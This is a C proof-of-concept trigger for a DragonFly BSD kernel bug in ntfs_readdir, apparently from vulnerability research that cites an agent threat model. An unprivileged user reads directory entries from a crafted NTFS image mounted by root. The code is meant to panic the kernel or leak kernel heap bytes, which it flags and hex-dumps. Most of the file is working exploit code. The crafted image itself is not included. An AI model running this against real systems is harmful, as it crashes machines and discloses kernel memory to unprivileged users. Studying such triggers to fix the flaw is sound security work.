/*
 * DF-0874 trigger -- drives the unbounded attr_indexentry walk in ntfs_readdir
 * (sys/vfs/ntfs/ntfs_vnops.c:585-586) via readdir(3)/getdents on a
 * root-mounted crafted NTFS image.
 *
 * Preconditions (realistic per AGENT.md threat model): root has created the
 * image and mount_ntfs'd it (vfs.usermount=0 by default on DragonFly); the
 * unprivileged user opens the directory and reads dirents. No kldload, no
 * setuid helper -- mount_ntfs auto-loads ntfs.ko.
 *
 * On the PANIC image: ntfs_readdir dereferences an out-of-buffer pointer and
 * the kernel faults (fatal trap 12) -- this process never returns; the panic
 * lands in dfbsd-qemu/boot.log.
 *
 * On the LEAK image: readdir returns dirent(s) whose d_fileno / d_name
 * reflect kernel heap residue past f_dirblbuf (information disclosure). With
 * -v we hex-dump every record so leaked bytes (kernel pointers, 0xFF fill,
 * slab poisoning) are visible.
 */
#include <sys/types.h>
#include <dirent.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/ntfs";
	int verbose = (argc > 2 && !strcmp(argv[2], "-v"));

	DIR *d = opendir(path);
	if (!d) {
		fprintf(stderr, "opendir(%s): %s\n", path, strerror(errno));
		return 2;
	}
	printf("[+] opened %s; reading dirents (ntfs_readdir unbounded walk)...\n",
	       path);
	fflush(stdout);

	int n = 0;
	struct dirent *de;
	errno = 0;
	while ((de = readdir(d)) != NULL) {
		unsigned long long ino = (unsigned long long)de->d_fileno;
		printf("  dirent[%d]: d_ino=0x%016llx d_namlen=%u d_type=%u "
		       "d_name='", n, ino, de->d_namlen, de->d_type);
		fwrite(de->d_name, 1, de->d_namlen, stdout);
		fputc('\'', stdout);
		/* Flag anything that looks like leaked kernel heap:
		   a d_ino that isn't a small plausible NTFS mft reference,
		   or non-printable d_name bytes. */
		if (ino > 0x100000ULL) printf("   <-- SUSPICIOUS d_ino (heap residue?)");
		printf("\n");
		if (verbose) {
			/* _DIRENT_DIRSIZ: 8-byte-aligned record size */
			size_t rec = (offsetof(struct dirent, d_name) +
				      de->d_namlen + 1 + 7) & ~(size_t)7;
			fputs("       raw: ", stdout);
			for (size_t i = 0; i < rec; i++)
				printf("%02x", (unsigned char)((char *)de)[i]);
			fputc('\n', stdout);
		}
		n++;
		if (n > 256) break;
	}
	int e = errno;
	closedir(d);
	if (n == 0)
		printf("[!] readdir returned 0 entries; errno=%d (%s)\n",
		       e, strerror(e));
	else
		printf("[+] readdir returned %d entries\n", n);
	return 0;
}
